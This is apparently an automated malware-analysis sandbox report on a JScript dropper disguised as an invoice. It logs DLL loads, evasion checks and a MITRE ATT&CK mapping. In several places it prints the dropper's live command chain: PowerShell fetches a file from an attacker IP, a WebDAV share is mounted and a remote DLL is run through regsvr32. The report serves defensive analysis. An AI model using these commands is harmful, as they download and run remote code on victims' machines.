Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8569.js.csv");ITextStream.WriteLine(" entry:8240 f:durceqrot");ITextStream.WriteLine(" exec:2 f:durceqrot");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4940			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4930			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep count: 4940 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep count: 4930 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2676	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2792	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2176054263.00000205E7498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2176054263.00000205E74FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411653263.000001EF2682B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3413313284.000001EF27E55000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
